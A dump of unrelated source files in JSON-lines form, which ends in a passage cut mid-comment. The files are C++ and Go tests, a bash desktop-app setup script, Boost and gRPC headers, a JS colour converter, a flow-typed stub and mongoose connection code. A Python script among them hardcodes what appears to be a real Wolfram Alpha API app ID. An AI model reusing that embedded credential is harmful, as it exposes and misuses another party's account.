}\n\n const std::string mode(argv[1]);\n bool (*test_fn)(FileTest * t, void *arg);\n if (mode == \"enc\") {\n test_fn = &TestAEADEncrypt;\n } else if (mode == \"dec\") {\n test_fn = &TestAEADDecrypt;\n } else {\n return usage(argv[0]);\n }\n\n const EVP_AEAD *aead = GetAEAD(argv[2], mode == \"enc\");\n if (aead == nullptr) {\n fprintf(stderr, \"invalid aead: %s\\n\", argv[2]);\n return 1;\n }\n\n TestCtx ctx = {aead};\n\n FileTest::Options opts;\n opts.path = argv[3];\n opts.callback = test_fn;\n opts.arg = &ctx;\n opts.silent = true;\n opts.comment_callback = EchoComment;\n return FileTestMain(opts);\n}\n"} {"text": "package content_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/urandom/readeef/content\"\n)\n\nfunc TestThumbnail_Validate(t *testing.T) {\n\ttests := []struct {\n\t\tname string\n\t\tArticleID content.ArticleID\n\t\twantErr bool\n\t}{\n\t\t{\"valid\", 1, false},\n\t\t{\"invalid\", 0, true},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tthumb := content.Thumbnail{\n\t\t\t\tArticleID: tt.ArticleID,\n\t\t\t}\n\t\t\tif err := thumb.Validate(); (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"Thumbnail.Validate() error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t}\n\t\t})\n\t}\n}\n"} {"text": "#!/bin/bash\n# User setup script.\n# (C) Mark Blakeney, Aug 2016.\n\nPROG=\"$(basename $0)\"\nNAME=${PROG%-*}\n\nBINDIR=\"/usr/bin\"\nAPPDIR=\"/usr/share/applications\"\nICOBAS=\"/usr/share/icons/hicolor\"\nICODIR=\"$ICOBAS/128x128/apps\"\nOCODIR=\"/usr/share/pixmaps\"\nDOCDIR=\"/usr/share/doc/$NAME\"\nCNFDIR=\"/etc\"\nHCFDIR=\"${XDG_CONFIG_HOME:-$HOME/.config}\"\nAUTDIR=\"$HCFDIR/autostart\"\n\nusage() {\n echo \"Usage:\"\n echo \"As root: sudo $PROG install|uninstall\"\n echo \"As user: $PROG start|stop|restart|autostart|autostop|status\"\n echo\n echo \"-d (option sets DESTDIR for install/uninstall)\"\n echo \"-r (force allow root to perform user commands. PLEASE AVOID USING THIS!)\"\n exit 1\n}\n\n# Process command line options\nDESTDIR=\"\"\nFORCEROOT=0\nwhile getopts d:r c; do\n case $c in\n d) DESTDIR=\"$OPTARG\";;\n r) FORCEROOT=1;;\n \\?) usage;;\n esac\ndone\n\nshift $((OPTIND - 1))\n\nif [[ $# -ne 1 ]]; then\n usage\nfi\n\ncmd=\"$1\"\n\n# Launch given desktop app. First work out most suitable launcher.\n# Pretty crude at present but should work for at least GNOME and KDE.\nlaunch() {\n local app=\"$1\"\n local fullpath=\"$APPDIR/$app.desktop\"\n local binpath=\"$APPBIN/$app\"\n\n # All the commands we will potentially try ..\n local cmds=(\n\t\"kde kioclient5 exec $fullpath\"\n\t\"kde kioclient exec $fullpath\"\n\t\"all gtk-launch $app\"\n\t\"all i3-msg exec $binpath\"\n\t\"all exo-open $fullpath\"\n\t\"all dex $fullpath\"\n )\n\n local cmdline\n for cmdline in \"${cmds[@]}\" ; do\n\tIFS=' ' read de cmd args <<< \"$cmdline\"\n\n # Skip if the command does not exist\n\tif ! hash $cmd &>/dev/null; then\n\t continue\n\tfi\n\n\t# Only try KDE commands on KDE\n\tif ! echo $XDG_CURRENT_DESKTOP | grep -q KDE; then\n\t if [[ $de == kde ]]; then\n\t\tcontinue\n\t fi\n\tfi\n\n\t# Execute this command\n\t$cmd $args &>/dev/null\n\treturn $?\n done\n\n echo \"Don't know how to invoke $app.desktop\" >&2\n return 1\n}\n\n# Set up desktop entry link for auto start of app, if it doesn't already\n# exist\nauto_start() {\n if [[ ! -f $APPDIR/$NAME.desktop ]]; then\n\tif [[ -e $AUTDIR/$NAME.desktop ]]; then\n\t echo \"Removed old $AUTDIR/$NAME.desktop\"\n\t rm -f $AUTDIR/$NAME.desktop\n\tfi\n\treturn 1\n fi\n\n if ! cmp -s $APPDIR/$NAME.desktop $AUTDIR/$NAME.desktop; then\n\tif mkdir -p $AUTDIR && cp $APPDIR/$NAME.desktop $AUTDIR; then\n\t echo \"installed or updated $AUTDIR/$NAME.desktop\"\n\tfi\n fi\n return 0\n}\n\n# Action given user command\nuser_action() {\n local cmd=$1\n\n if [[ $cmd == start ]]; then\n\tif [[ ! -f $APPDIR/$NAME.desktop ]]; then\n\t echo \"$NAME is not installed.\"\n\t exit 1\n\tfi\n\tif launch \"$NAME\"; then\n\t echo \"$NAME started.\"\n\tfi\n elif [[ $cmd == stop ]]; then\n\tfor prog in libinput-debug-events $NAME; do\n\t if pkill -u $USER -f \"$prog\\$|$prog \" &>/dev/null; then\n\t\techo \"$prog stopped.\"\n\t fi\n\tdone\n elif [[ $cmd == autostart ]]; then\n\tif ! auto_start; then\n\t echo \"$NAME is not installed.\"\n\t exit 1\n\tfi\n elif [[ $cmd == autostop ]]; then\n\trm -fv $AUTDIR/$NAME.desktop\n elif [[ $cmd == status ]]; then\n\tif [[ -f $APPDIR/$NAME.desktop ]]; then\n\t echo \"$NAME is installed.\"\n\telse\n\t echo \"$NAME is not installed.\"\n\tfi\n\tif [[ -f $AUTDIR/$NAME.desktop ]]; then\n\t echo \"$NAME is set to autostart.\"\n\telse\n\t echo \"$NAME is not set to autostart.\"\n\tfi\n\tif pgrep -u $USER -f \"$NAME\\$|$NAME \" &>/dev/null; then\n\t echo \"$NAME is running.\"\n\telse\n\t echo \"$NAME is not running.\"\n\tfi\n\tif [[ -f $HCFDIR/$NAME.conf ]]; then\n\t echo \"$NAME is using custom configuration.\"\n\telse\n\t echo \"$NAME is using default configuration.\"\n\tfi\n else\n\tusage\n fi\n}\n\nif [[ $cmd == install || $cmd == uninstall ]]; then\n DESTDIR=\"${DESTDIR%%+(/)}\"\n if [[ -z $DESTDIR && $(id -un) != root ]]; then\n\techo \"Install or uninstall must be run as sudo/root.\"\n\texit 1\n fi\n\n # Remove any old files from earlier versions of program\n rm -f $DESTDIR$OCODIR/$NAME.png\n rm -f $DESTDIR$ICODIR/$NAME.png\n\n if [[ $cmd == install ]]; then\n\tinstall -CDv -m 755 -t $DESTDIR$BINDIR $NAME-setup\n\tinstall -CDv -m 755 -t $DESTDIR$BINDIR $NAME\n\tinstall -CDv -m 644 -t $DESTDIR$APPDIR $NAME.desktop\n\tinstall -CDv -m 644 -t $DESTDIR$ICODIR $NAME.svg\n\tinstall -CDv -m 644 -t $DESTDIR$CNFDIR $NAME.conf\n\tinstall -CDv -m 644 -t $DESTDIR$DOCDIR README.md\n else\n\trm -rfv $DESTDIR$BINDIR/$NAME\n\trm -rfv $DESTDIR$APPDIR/$NAME.desktop\n\trm -rfv $DESTDIR$ICODIR/$NAME.svg\n\trm -rfv $DESTDIR$CNFDIR/$NAME.conf\n\trm -rfv $DESTDIR$DOCDIR\n\trm -rfv $DESTDIR$BINDIR/$NAME-setup\n fi\n\n if [[ -z $DESTDIR ]]; then\n\tif [[ -x /usr/bin/update-desktop-database ]]; then\n\t /usr/bin/update-desktop-database -q\n\tfi\n\tif [[ -x /usr/bin/gtk-update-icon-cache ]]; then\n\t /usr/bin/gtk-update-icon-cache $ICOBAS\n\tfi\n fi\nelse\n if [[ $(id -un) == root && $FORCEROOT == 0 ]]; then\n\techo \"Non-installation commands must be run as your own user.\"\n\texit 1\n fi\n\n # Remove any old configuration from earlier versions of program\n rm -fv ~/bin/$NAME 2>/dev/null\n rm -fv ~/.local/bin/$NAME 2>/dev/null\n rm -fv ~/.local/share/applications/$NAME.desktop 2>/dev/null\n rm -fv ~/.local/share/icons/$NAME.png 2>/dev/null\n\n # Look for and update any autostart file if it is a link or not\n # pointing to the latest desktop entry. Apparently user autostart\n # files should not be symlinks to system dir files.\n if [[ -e $AUTDIR/$NAME.desktop ]]; then\n\tif [[ -L $AUTDIR/$NAME.desktop ]]; then\n\t echo \"Removed old $AUTDIR/$NAME.desktop link\"\n\t rm -f $AUTDIR/$NAME.desktop\n\tfi\n\tauto_start\n fi\n\n if [[ $cmd == restart ]]; then\n\tuser_action \"stop\"\n\tuser_action \"start\"\n else\n\tuser_action $cmd\n fi\nfi\n\nexit 0\n"} {"text": "// Copyright David Abrahams 2003. Use, modification and distribution is\r\n// subject to the Boost Software License, Version 1.0. (See accompanying\r\n// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\r\n#ifndef ANY_CONVERSION_EATER_DWA20031117_HPP\r\n# define ANY_CONVERSION_EATER_DWA20031117_HPP\r\n\r\nnamespace boost {\r\nnamespace iterators {\r\nnamespace detail {\r\n\r\n// This type can be used in traits to \"eat\" up the one user-defined\r\n// implicit conversion allowed.\r\nstruct any_conversion_eater\r\n{\r\n template \r\n any_conversion_eater(T const&);\r\n};\r\n\r\n}}} // namespace boost::iterators::detail\r\n\r\n#endif // ANY_CONVERSION_EATER_DWA20031117_HPP\r\n"} {"text": "/*\n * Copyright (C) 2020 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#include \"src/trace_processor/importers/ftrace/sched_event_tracker.h\"\n\n#include \"perfetto/base/logging.h\"\n#include \"src/trace_processor/importers/common/args_tracker.h\"\n#include \"src/trace_processor/importers/common/event_tracker.h\"\n#include \"src/trace_processor/importers/common/process_tracker.h\"\n#include \"test/gtest_and_gmock.h\"\n\nnamespace perfetto {\nnamespace trace_processor {\nnamespace {\n\nusing ::testing::_;\nusing ::testing::InSequence;\nusing ::testing::Invoke;\n\nclass SchedEventTrackerTest : public ::testing::Test {\n public:\n SchedEventTrackerTest() {\n context.storage.reset(new TraceStorage());\n context.global_args_tracker.reset(new GlobalArgsTracker(&context));\n context.args_tracker.reset(new ArgsTracker(&context));\n context.event_tracker.reset(new EventTracker(&context));\n context.process_tracker.reset(new ProcessTracker(&context));\n sched_tracker = SchedEventTracker::GetOrCreate(&context);\n }\n\n protected:\n TraceProcessorContext context;\n SchedEventTracker* sched_tracker;\n};\n\nTEST_F(SchedEventTrackerTest, InsertSecondSched) {\n uint32_t cpu = 3;\n int64_t timestamp = 100;\n uint32_t pid_1 = 2;\n int64_t prev_state = 32;\n static const char kCommProc1[] = \"process1\";\n static const char kCommProc2[] = \"process2\";\n uint32_t pid_2 = 4;\n int32_t prio = 1024;\n\n sched_tracker->PushSchedSwitch(cpu, timestamp, pid_1, kCommProc2, prio,\n prev_state, pid_2, kCommProc1, prio);\n ASSERT_EQ(context.storage->sched_slice_table().row_count(), 1ul);\n\n sched_tracker->PushSchedSwitch(cpu, timestamp + 1, pid_2, kCommProc1, prio,\n prev_state, pid_1, kCommProc2, prio);\n\n ASSERT_EQ(context.storage->sched_slice_table().row_count(), 2ul);\n\n const auto& timestamps = context.storage->sched_slice_table().ts();\n ASSERT_EQ(timestamps[0], timestamp);\n ASSERT_EQ(context.storage->thread_table().start_ts()[1], base::nullopt);\n\n auto name =\n context.storage->GetString(context.storage->thread_table().name()[1]);\n ASSERT_STREQ(name.c_str(), kCommProc1);\n ASSERT_EQ(context.storage->sched_slice_table().utid()[0], 1u);\n ASSERT_EQ(context.storage->sched_slice_table().dur()[0], 1);\n}\n\nTEST_F(SchedEventTrackerTest, InsertThirdSched_SameThread) {\n uint32_t cpu = 3;\n int64_t timestamp = 100;\n int64_t prev_state = 32;\n static const char kCommProc1[] = \"process1\";\n static const char kCommProc2[] = \"process2\";\n int32_t prio = 1024;\n\n sched_tracker->PushSchedSwitch(cpu, timestamp, /*tid=*/4, kCommProc2, prio,\n prev_state,\n /*tid=*/2, kCommProc1, prio);\n ASSERT_EQ(context.storage->sched_slice_table().row_count(), 1u);\n\n sched_tracker->PushSchedSwitch(cpu, timestamp + 1, /*tid=*/2, kCommProc1,\n prio, prev_state,\n /*tid=*/4, kCommProc2, prio);\n sched_tracker->PushSchedSwitch(cpu, timestamp + 11, /*tid=*/4, kCommProc2,\n prio, prev_state,\n /*tid=*/2, kCommProc1, prio);\n sched_tracker->PushSchedSwitch(cpu, timestamp + 31, /*tid=*/2, kCommProc1,\n prio, prev_state,\n /*tid=*/4, kCommProc2, prio);\n ASSERT_EQ(context.storage->sched_slice_table().row_count(), 4ul);\n\n const auto& timestamps = context.storage->sched_slice_table().ts();\n ASSERT_EQ(timestamps[0], timestamp);\n ASSERT_EQ(context.storage->thread_table().start_ts()[1], base::nullopt);\n ASSERT_EQ(context.storage->sched_slice_table().dur()[0], 1u);\n ASSERT_EQ(context.storage->sched_slice_table().dur()[1], 11u - 1u);\n ASSERT_EQ(context.storage->sched_slice_table().dur()[2], 31u - 11u);\n ASSERT_EQ(context.storage->sched_slice_table().utid()[0],\n context.storage->sched_slice_table().utid()[2]);\n}\n\nTEST_F(SchedEventTrackerTest, UpdateThreadMatch) {\n uint32_t cpu = 3;\n int64_t timestamp = 100;\n int64_t prev_state = 32;\n static const char kCommProc1[] = \"process1\";\n static const char kCommProc2[] = \"process2\";\n int32_t prio = 1024;\n\n sched_tracker->PushSchedSwitch(cpu, timestamp, /*tid=*/1, kCommProc2, prio,\n prev_state,\n /*tid=*/4, kCommProc1, prio);\n sched_tracker->PushSchedSwitch(cpu, timestamp + 1, /*tid=*/4, kCommProc1,\n prio, prev_state,\n /*tid=*/1, kCommProc2, prio);\n\n context.process_tracker->SetProcessMetadata(2, base::nullopt, \"test\",\n base::StringView());\n context.process_tracker->UpdateThread(4, 2);\n\n ASSERT_EQ(context.storage->thread_table().tid()[1], 4u);\n ASSERT_EQ(context.storage->thread_table().upid()[1].value(), 1u);\n ASSERT_EQ(context.storage->process_table().pid()[1], 2u);\n ASSERT_EQ(context.storage->process_table().start_ts()[1], base::nullopt);\n}\n\n} // namespace\n} // namespace trace_processor\n} // namespace perfetto\n"} {"text": "import urllib\nimport sys\nimport re\n\nplace = sys.argv[1]\nappID = 'WHARE2-WAGAJRG3AV'\nAPI_URL = ('http://api.wolframalpha.com/v2/query?input=time%20in%20'\n + place + '&appid=' + appID)\nplaintext_tag = ''\nplaintext_close_tag = '</plaintext>'\n\nplaintext_lines = []\nfor line in urllib.urlopen(API_URL).readlines():\n line = line.strip()\n if line[:len(plaintext_tag)] == plaintext_tag:\n plaintext_lines.append(line)\n\ntry:\n time_and_date = re.match(plaintext_tag + '(.+)' +\n plaintext_close_tag, plaintext_lines[1])\n pattern = re.match('(.+)\\s+\\|\\s+(.+)', time_and_date.groups()[0])\nexcept:\n print 'Cannot find time in', place\n\ntime = pattern.groups()[0][:-1]\ndate = pattern.groups()[1]\n\nprint 'In', place, 'it is', time, 'on', date \n"} {"text": "/* eslint-disable default-case */\nimport bound01 from './bound01';\nimport { decomposeColor } from '.';\n\nexport default function rgbToHsv(color) {\n const { type, values } = decomposeColor(color);\n if (!type || !values || type.indexOf('rgb') === -1) {\n return '';\n }\n\n const r = bound01(values[0], 255);\n const g = bound01(values[1], 255);\n const b = bound01(values[2], 255);\n\n const max = Math.max(r, g, b);\n const min = Math.min(r, g, b);\n const v = max;\n const d = max - min;\n const s = max === 0 ? 0 : d / max;\n\n let h;\n if (max === min) {\n h = 0; // achromatic\n } else {\n switch (max) {\n case r:\n h = (g - b) / d + (g < b ? 6 : 0);\n break;\n case g:\n h = (b - r) / d + 2;\n break;\n case b:\n h = (r - g) / d + 4;\n break;\n }\n h /= 6;\n }\n return `hsv(${Math.round(h * 360)}, ${Math.round(s * 100)}%, ${Math.round(v * 100)}%)`;\n}\n"} {"text": "// flow-typed signature: 3293c963be65904c900cc0e9334c3cc8\n// flow-typed version: <<STUB>>/node-vibrant_v^3.0.0/flow_v0.79.1\n\n/**\n * This is an autogenerated libdef stub for:\n *\n * 'node-vibrant'\n *\n * Fill this stub out by replacing all the `any` types.\n *\n * Once filled out, we encourage you to share your work with the\n * community by sending a pull request to:\n * https://github.com/flowtype/flow-typed\n */\n\ndeclare module 'node-vibrant' {\n declare module.exports: any;\n}\n\n/**\n * We include stubs for each file inside this npm package in case you need to\n * require those files directly. Feel free to delete any files that aren't\n * needed.\n */\ndeclare module 'node-vibrant/data/node-example' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/dist/474d262f2b165bfd49fe.worker' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/dist/vibrant' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/dist/vibrant.min' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/dist/vibrant.worker' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/dist/vibrant.worker.min' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/karma.conf' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/browser' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/builder' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/bundle' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/bundle.worker' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/color' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/filter/default' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/filter/index' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/generator/default' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/generator/index' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/image/base' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/image/browser' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/image/node' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/index' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/quantizer/index' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/quantizer/mmcq' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/quantizer/pqueue' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/quantizer/vbox' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/quantizer/worker' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/quantizer/worker/common' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/quantizer/worker/pool' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/quantizer/worker/worker' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/test/builder.spec' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/test/common/data' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/test/common/helper' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/test/common/server' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/test/vibrant.browser-spec' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/test/vibrant.spec' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/typing' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/util' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/lib/vibrant' {\n declare module.exports: any;\n}\n\ndeclare module 'node-vibrant/webpack.config' {\n declare module.exports: any;\n}\n\n// Filename aliases\ndeclare module 'node-vibrant/data/node-example.js' {\n declare module.exports: $Exports<'node-vibrant/data/node-example'>;\n}\ndeclare module 'node-vibrant/dist/474d262f2b165bfd49fe.worker.js' {\n declare module.exports: $Exports<'node-vibrant/dist/474d262f2b165bfd49fe.worker'>;\n}\ndeclare module 'node-vibrant/dist/vibrant.js' {\n declare module.exports: $Exports<'node-vibrant/dist/vibrant'>;\n}\ndeclare module 'node-vibrant/dist/vibrant.min.js' {\n declare module.exports: $Exports<'node-vibrant/dist/vibrant.min'>;\n}\ndeclare module 'node-vibrant/dist/vibrant.worker.js' {\n declare module.exports: $Exports<'node-vibrant/dist/vibrant.worker'>;\n}\ndeclare module 'node-vibrant/dist/vibrant.worker.min.js' {\n declare module.exports: $Exports<'node-vibrant/dist/vibrant.worker.min'>;\n}\ndeclare module 'node-vibrant/karma.conf.js' {\n declare module.exports: $Exports<'node-vibrant/karma.conf'>;\n}\ndeclare module 'node-vibrant/lib/browser.js' {\n declare module.exports: $Exports<'node-vibrant/lib/browser'>;\n}\ndeclare module 'node-vibrant/lib/builder.js' {\n declare module.exports: $Exports<'node-vibrant/lib/builder'>;\n}\ndeclare module 'node-vibrant/lib/bundle.js' {\n declare module.exports: $Exports<'node-vibrant/lib/bundle'>;\n}\ndeclare module 'node-vibrant/lib/bundle.worker.js' {\n declare module.exports: $Exports<'node-vibrant/lib/bundle.worker'>;\n}\ndeclare module 'node-vibrant/lib/color.js' {\n declare module.exports: $Exports<'node-vibrant/lib/color'>;\n}\ndeclare module 'node-vibrant/lib/filter/default.js' {\n declare module.exports: $Exports<'node-vibrant/lib/filter/default'>;\n}\ndeclare module 'node-vibrant/lib/filter/index.js' {\n declare module.exports: $Exports<'node-vibrant/lib/filter/index'>;\n}\ndeclare module 'node-vibrant/lib/generator/default.js' {\n declare module.exports: $Exports<'node-vibrant/lib/generator/default'>;\n}\ndeclare module 'node-vibrant/lib/generator/index.js' {\n declare module.exports: $Exports<'node-vibrant/lib/generator/index'>;\n}\ndeclare module 'node-vibrant/lib/image/base.js' {\n declare module.exports: $Exports<'node-vibrant/lib/image/base'>;\n}\ndeclare module 'node-vibrant/lib/image/browser.js' {\n declare module.exports: $Exports<'node-vibrant/lib/image/browser'>;\n}\ndeclare module 'node-vibrant/lib/image/node.js' {\n declare module.exports: $Exports<'node-vibrant/lib/image/node'>;\n}\ndeclare module 'node-vibrant/lib/index.js' {\n declare module.exports: $Exports<'node-vibrant/lib/index'>;\n}\ndeclare module 'node-vibrant/lib/quantizer/index.js' {\n declare module.exports: $Exports<'node-vibrant/lib/quantizer/index'>;\n}\ndeclare module 'node-vibrant/lib/quantizer/mmcq.js' {\n declare module.exports: $Exports<'node-vibrant/lib/quantizer/mmcq'>;\n}\ndeclare module 'node-vibrant/lib/quantizer/pqueue.js' {\n declare module.exports: $Exports<'node-vibrant/lib/quantizer/pqueue'>;\n}\ndeclare module 'node-vibrant/lib/quantizer/vbox.js' {\n declare module.exports: $Exports<'node-vibrant/lib/quantizer/vbox'>;\n}\ndeclare module 'node-vibrant/lib/quantizer/worker.js' {\n declare module.exports: $Exports<'node-vibrant/lib/quantizer/worker'>;\n}\ndeclare module 'node-vibrant/lib/quantizer/worker/common.js' {\n declare module.exports: $Exports<'node-vibrant/lib/quantizer/worker/common'>;\n}\ndeclare module 'node-vibrant/lib/quantizer/worker/pool.js' {\n declare module.exports: $Exports<'node-vibrant/lib/quantizer/worker/pool'>;\n}\ndeclare module 'node-vibrant/lib/quantizer/worker/worker.js' {\n declare module.exports: $Exports<'node-vibrant/lib/quantizer/worker/worker'>;\n}\ndeclare module 'node-vibrant/lib/test/builder.spec.js' {\n declare module.exports: $Exports<'node-vibrant/lib/test/builder.spec'>;\n}\ndeclare module 'node-vibrant/lib/test/common/data.js' {\n declare module.exports: $Exports<'node-vibrant/lib/test/common/data'>;\n}\ndeclare module 'node-vibrant/lib/test/common/helper.js' {\n declare module.exports: $Exports<'node-vibrant/lib/test/common/helper'>;\n}\ndeclare module 'node-vibrant/lib/test/common/server.js' {\n declare module.exports: $Exports<'node-vibrant/lib/test/common/server'>;\n}\ndeclare module 'node-vibrant/lib/test/vibrant.browser-spec.js' {\n declare module.exports: $Exports<'node-vibrant/lib/test/vibrant.browser-spec'>;\n}\ndeclare module 'node-vibrant/lib/test/vibrant.spec.js' {\n declare module.exports: $Exports<'node-vibrant/lib/test/vibrant.spec'>;\n}\ndeclare module 'node-vibrant/lib/typing.js' {\n declare module.exports: $Exports<'node-vibrant/lib/typing'>;\n}\ndeclare module 'node-vibrant/lib/util.js' {\n declare module.exports: $Exports<'node-vibrant/lib/util'>;\n}\ndeclare module 'node-vibrant/lib/vibrant.js' {\n declare module.exports: $Exports<'node-vibrant/lib/vibrant'>;\n}\ndeclare module 'node-vibrant/webpack.config.js' {\n declare module.exports: $Exports<'node-vibrant/webpack.config'>;\n}\n"} {"text": "/*\n *\n * Copyright 2017 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\n#ifndef GRPC_CORE_LIB_COMPRESSION_STREAM_COMPRESSION_GZIP_H\n#define GRPC_CORE_LIB_COMPRESSION_STREAM_COMPRESSION_GZIP_H\n\n#include <grpc/support/port_platform.h>\n\n#include \"src/core/lib/compression/stream_compression.h\"\n\nextern const grpc_stream_compression_vtable grpc_stream_compression_gzip_vtable;\n\n#endif\n"} {"text": "'use strict';\r\n\r\n/*!\r\n * Module dependencies.\r\n */\r\n\r\nconst EventEmitter = require('events').EventEmitter;\r\nconst Schema = require('./schema');\r\nconst Collection = require('./driver').get().Collection;\r\nconst STATES = require('./connectionstate');\r\nconst MongooseError = require('./error');\r\nconst PromiseProvider = require('./promise_provider');\r\nconst get = require('lodash.get');\r\nconst mongodb = require('mongodb');\r\nconst utils = require('./utils');\r\n\r\nconst parseConnectionString = require('mongodb-core').parseConnectionString;\r\n\r\n/*!\r\n * A list of authentication mechanisms that don't require a password for authentication.\r\n * This is used by the authMechanismDoesNotRequirePassword method.\r\n *\r\n * @api private\r\n */\r\nconst noPasswordAuthMechanisms = [\r\n 'MONGODB-X509'\r\n];\r\n\r\n/**\r\n * Connection constructor\r\n *\r\n * For practical reasons, a Connection equals a Db.\r\n *\r\n * @param {Mongoose} base a mongoose instance\r\n * @inherits NodeJS EventEmitter http://nodejs.org/api/events.html#events_class_events_eventemitter\r\n * @event `connecting`: Emitted when `connection.{open,openSet}()` is executed on this connection.\r\n * @event `connected`: Emitted when this connection successfully connects to the db. May be emitted _multiple_ times in `reconnected` scenarios.\r\n * @event `open`: Emitted after we `connected` and `onOpen` is executed on all of this connections models.\r\n * @event `disconnecting`: Emitted when `connection.close()` was executed.\r\n * @event `disconnected`: Emitted after getting disconnected from the db.\r\n * @event `close`: Emitted after we `disconnected` and `onClose` executed on all of this connections models.\r\n * @event `reconnected`: Emitted after we `connected` and subsequently `disconnected`, followed by successfully another successfull connection.\r\n * @event `error`: Emitted when an error occurs on this connection.\r\n * @event `fullsetup`: Emitted in a replica-set scenario, when primary and at least one seconaries specified in the connection string are connected.\r\n * @event `all`: Emitted in a replica-set scenario, when all nodes specified in the connection string are connected.\r\n * @api public\r\n */\r\n\r\nfunction Connection(base) {\r\n this.base = base;\r\n this.collections = {};\r\n this.models = {};\r\n this.config = {autoIndex: true};\r\n this.replica = false;\r\n this.options = null;\r\n this.otherDbs = []; // FIXME: To be replaced with relatedDbs\r\n this.relatedDbs = {}; // Hashmap of other dbs that share underlying connection\r\n this.states = STATES;\r\n this._readyState = STATES.disconnected;\r\n this._closeCalled = false;\r\n this._hasOpened = false;\r\n}\r\n\r\n/*!\r\n * Inherit from EventEmitter\r\n */\r\n\r\nConnection.prototype.__proto__ = EventEmitter.prototype;\r\n\r\n/**\r\n * Connection ready state\r\n *\r\n * - 0 = disconnected\r\n * - 1 = connected\r\n * - 2 = connecting\r\n * - 3 = disconnecting\r\n *\r\n * Each state change emits its associated event name.\r\n *\r\n * ####Example\r\n *\r\n * conn.on('connected', callback);\r\n * conn.on('disconnected', callback);\r\n *\r\n * @property readyState\r\n * @memberOf Connection\r\n * @instance\r\n * @api public\r\n */\r\n\r\nObject.defineProperty(Connection.prototype, 'readyState', {\r\n get: function() {\r\n return this._readyState;\r\n },\r\n set: function(val) {\r\n if (!(val in STATES)) {\r\n throw new Error('Invalid connection state: ' + val);\r\n }\r\n\r\n if (this._readyState !== val) {\r\n this._readyState = val;\r\n // [legacy] loop over the otherDbs on this connection and change their state\r\n for (var i = 0; i < this.otherDbs.length; i++) {\r\n this.otherDbs[i].readyState = val;\r\n }\r\n\r\n // loop over relatedDbs on this connection and change their state\r\n for (var k in this.relatedDbs) {\r\n this.relatedDbs[k].readyState = val;\r\n }\r\n\r\n if (STATES.connected === val) {\r\n this._hasOpened = true;\r\n }\r\n\r\n this.emit(STATES[val]);\r\n }\r\n }\r\n});\r\n\r\n/**\r\n * A hash of the collections associated with this connection\r\n *\r\n * @property collections\r\n * @memberOf Connection\r\n * @instance\r\n * @api public\r\n */\r\n\r\nConnection.prototype.collections;\r\n\r\n/**\r\n * The name of the database this connection points to.\r\n *\r\n * ####Example\r\n *\r\n * mongoose.createConnection('mongodb://localhost:27017/mydb').name; // \"mydb\"\r\n *\r\n * @property name\r\n * @memberOf Connection\r\n * @instance\r\n * @api public\r\n */\r\n\r\nConnection.prototype.name;\r\n\r\n/**\r\n * The host name portion of the URI. If multiple hosts, such as a replica set,\r\n * this will contain the first host name in the URI\r\n *\r\n * ####Example\r\n *\r\n * mongoose.createConnection('mongodb://localhost:27017/mydb').host; // \"localhost\"\r\n *\r\n * @property host\r\n * @memberOf Connection\r\n * @instance\r\n * @api public\r\n 